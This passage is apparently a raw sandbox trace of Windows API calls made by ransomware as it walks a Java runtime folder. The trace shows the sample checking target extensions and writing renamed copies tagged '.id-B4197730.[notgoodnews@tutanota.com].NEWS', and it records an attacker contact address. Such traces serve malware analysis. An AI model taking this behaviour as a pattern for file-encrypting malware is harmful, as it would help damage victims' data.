(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0195.084] lstrlenW (lpString=".zip") returned 4 [0195.084] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.084] lstrlenW (lpString=".rar") returned 4 [0195.084] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.084] lstrlenW (lpString=".bz2") returned 4 [0195.084] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.084] lstrlenW (lpString=".7z") returned 3 [0195.084] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0195.084] lstrlenW (lpString=".dbf") returned 4 [0195.084] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0195.084] lstrlenW (lpString=".1cd") returned 4 [0195.084] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0195.084] lstrlenW (lpString=".jpg") returned 4 [0195.084] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0195.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0195.084] lstrlenW (lpString=".doc") returned 4 [0195.084] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.084] lstrlenW (lpString=".docx") returned 5 [0195.084] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0195.084] lstrlenW (lpString=".pdf") returned 4 [0195.084] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.084] lstrlenW (lpString=".xls") returned 4 [0195.084] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.084] lstrlenW (lpString=".xlsx") returned 5 [0195.085] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0195.085] lstrlenW (lpString=".ppt") returned 4 [0195.085] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0195.085] lstrlenW (lpString=".zip") returned 4 [0195.085] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.085] lstrlenW (lpString=".rar") returned 4 [0195.085] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.085] lstrlenW (lpString=".bz2") returned 4 [0195.085] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.085] lstrlenW (lpString=".7z") returned 3 [0195.085] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0195.085] lstrlenW (lpString=".dbf") returned 4 [0195.085] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0195.085] lstrlenW (lpString=".1cd") returned 4 [0195.085] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0195.085] lstrlenW (lpString=".jpg") returned 4 [0195.085] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.085] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0195.085] lstrlenW (lpString="npdeployJava1.dll") returned 17 [0195.085] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0195.087] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1156672) returned 1 [0195.087] CloseHandle (hObject=0x368) returned 1 [0195.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 0x20 [0195.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.087] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0195.087] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.087] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.087] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0195.088] GetLastError () returned 0x0 [0195.088] ReadFile (in: hFile=0x368, lpBuffer=0x3b1b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020*, lpNumberOfBytesRead=0x363fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0195.112] WriteFile (in: hFile=0x36c, lpBuffer=0x3b1b020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020*, lpNumberOfBytesWritten=0x363fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0195.734] ReadFile (in: hFile=0x368, lpBuffer=0x3b1b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 0 [0195.736] CloseHandle (hObject=0x36c) returned 1 [0195.736] CloseHandle (hObject=0x368) returned 1 [0195.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0195.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0195.736] lstrlenW (lpString=".doc") returned 4 [0195.736] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.736] lstrlenW (lpString=".docx") returned 5 [0195.736] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0195.736] lstrlenW (lpString=".pdf") returned 4 [0195.736] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.736] lstrlenW (lpString=".xls") returned 4 [0195.736] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.736] lstrlenW (lpString=".xlsx") returned 5 [0195.736] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0195.736] lstrlenW (lpString=".ppt") returned 4 [0195.736] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0195.736] lstrlenW (lpString=".zip") returned 4 [0195.736] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.736] lstrlenW (lpString=".rar") returned 4 [0195.736] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.736] lstrlenW (lpString=".bz2") returned 4 [0195.736] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.736] lstrlenW (lpString=".7z") returned 3 [0195.736] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0195.737] lstrlenW (lpString=".dbf") returned 4 [0195.737] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0195.737] lstrlenW (lpString=".1cd") returned 4 [0195.737] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0195.737] lstrlenW (lpString=".jpg") returned 4 [0195.737] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0195.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0195.737] lstrlenW (lpString=".doc") returned 4 [0195.737] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.737] lstrlenW (lpString=".docx") returned 5 [0195.737] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0195.737] lstrlenW (lpString=".pdf") returned 4 [0195.737] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.737] lstrlenW (lpString=".xls") returned 4 [0195.737] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.737] lstrlenW (lpString=".xlsx") returned 5 [0195.737] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0195.737] lstrlenW (lpString=".ppt") returned 4 [0195.737] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0195.737] lstrlenW (lpString=".zip") returned 4 [0195.737] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.737] lstrlenW (lpString=".rar") returned 4 [0195.737] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.737] lstrlenW (lpString=".bz2") returned 4 [0195.737] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.737] lstrlenW (lpString=".7z") returned 3 [0195.737] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0195.737] lstrlenW (lpString=".dbf") returned 4 [0195.737] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0195.738] lstrlenW (lpString=".1cd") returned 4 [0195.738] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0195.738] lstrlenW (lpString=".jpg") returned 4 [0195.738] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.738] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0195.738] lstrlenW (lpString="eula.dll") returned 8 [0195.738] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0195.738] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=136256) returned 1 [0195.739] CloseHandle (hObject=0x368) returned 1 [0195.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 0x20 [0195.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.739] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0195.739] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.739] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.739] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0195.740] GetLastError () returned 0x0 [0195.740] ReadFile (in: hFile=0x368, lpBuffer=0x3b1b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 0 [0195.740] CloseHandle (hObject=0x36c) returned 1 [0195.740] CloseHandle (hObject=0x368) returned 1 [0195.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0195.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0195.740] lstrlenW (lpString=".doc") returned 4 [0195.740] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.740] lstrlenW (lpString=".docx") returned 5 [0195.740] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0195.740] lstrlenW (lpString=".pdf") returned 4 [0195.740] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.741] lstrlenW (lpString=".xls") returned 4 [0195.741] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.741] lstrlenW (lpString=".xlsx") returned 5 [0195.741] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0195.741] lstrlenW (lpString=".ppt") returned 4 [0195.741] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0195.741] lstrlenW (lpString=".zip") returned 4 [0195.741] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.741] lstrlenW (lpString=".rar") returned 4 [0195.741] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.741] lstrlenW (lpString=".bz2") returned 4 [0195.741] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.741] lstrlenW (lpString=".7z") returned 3 [0195.741] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0195.741] lstrlenW (lpString=".dbf") returned 4 [0195.741] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0195.741] lstrlenW (lpString=".1cd") returned 4 [0195.741] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0195.741] lstrlenW (lpString=".jpg") returned 4 [0195.741] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0195.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0195.741] lstrlenW (lpString=".doc") returned 4 [0195.741] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.741] lstrlenW (lpString=".docx") returned 5 [0195.741] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0195.741] lstrlenW (lpString=".pdf") returned 4 [0195.741] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.741] lstrlenW (lpString=".xls") returned 4 [0195.741] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.741] lstrlenW (lpString=".xlsx") returned 5 [0195.742] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0195.742] lstrlenW (lpString=".ppt") returned 4 [0195.742] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.742] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0195.742] lstrlenW (lpString=".zip") returned 4 [0195.742] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.742] lstrlenW (lpString=".rar") returned 4 [0195.742] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.742] lstrlenW (lpString=".bz2") returned 4 [0195.742] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.742] lstrlenW (lpString=".7z") returned 3 [0195.742] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.742] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0195.742] lstrlenW (lpString=".dbf") returned 4 [0195.742] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.742] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0195.742] lstrlenW (lpString=".1cd") returned 4 [0195.742] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.742] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0195.742] lstrlenW (lpString=".jpg") returned 4 [0195.742] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.742] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0195.742] lstrlenW (lpString="fontmanager.dll") returned 15 [0195.742] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0195.743] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=274496) returned 1 [0195.743] CloseHandle (hObject=0x368) returned 1 [0195.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 0x20 [0195.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.743] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0195.743] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.743] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.743] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0195.744] GetLastError () returned 0x0 [0195.744] ReadFile (in: hFile=0x368, lpBuffer=0x3b1b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 0 [0195.744] CloseHandle (hObject=0x36c) returned 1 [0195.744] CloseHandle (hObject=0x368) returned 1 [0195.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0195.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0195.744] lstrlenW (lpString=".doc") returned 4 [0195.744] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.744] lstrlenW (lpString=".docx") returned 5 [0195.744] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0195.744] lstrlenW (lpString=".pdf") returned 4 [0195.744] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.744] lstrlenW (lpString=".xls") returned 4 [0195.744] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.744] lstrlenW (lpString=".xlsx") returned 5 [0195.744] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0195.744] lstrlenW (lpString=".ppt") returned 4 [0195.744] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0195.744] lstrlenW (lpString=".zip") returned 4 [0195.744] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.744] lstrlenW (lpString=".rar") returned 4 [0195.744] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.744] lstrlenW (lpString=".bz2") returned 4 [0195.744] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.744] lstrlenW (lpString=".7z") returned 3 [0195.744] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0195.744] lstrlenW (lpString=".dbf") returned 4 [0195.744] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0195.745] lstrlenW (lpString=".1cd") returned 4 [0195.745] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0195.745] lstrlenW (lpString=".jpg") returned 4 [0195.745] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0195.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0195.745] lstrlenW (lpString=".doc") returned 4 [0195.745] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.745] lstrlenW (lpString=".docx") returned 5 [0195.745] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0195.745] lstrlenW (lpString=".pdf") returned 4 [0195.745] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.745] lstrlenW (lpString=".xls") returned 4 [0195.745] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.745] lstrlenW (lpString=".xlsx") returned 5 [0195.745] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0195.745] lstrlenW (lpString=".ppt") returned 4 [0195.745] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0195.745] lstrlenW (lpString=".zip") returned 4 [0195.745] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.745] lstrlenW (lpString=".rar") returned 4 [0195.745] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.745] lstrlenW (lpString=".bz2") returned 4 [0195.745] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.745] lstrlenW (lpString=".7z") returned 3 [0195.745] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0195.745] lstrlenW (lpString=".dbf") returned 4 [0195.745] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0195.745] lstrlenW (lpString=".1cd") returned 4 [0195.745] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0195.746] lstrlenW (lpString=".jpg") returned 4 [0195.746] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.746] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0195.746] lstrlenW (lpString="fxplugins.dll") returned 13 [0195.746] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0195.746] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=186944) returned 1 [0195.746] CloseHandle (hObject=0x368) returned 1 [0195.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 0x20 [0195.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.746] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0195.747] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.747] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.747] CreateFileW (lpFileName="C:\\Program 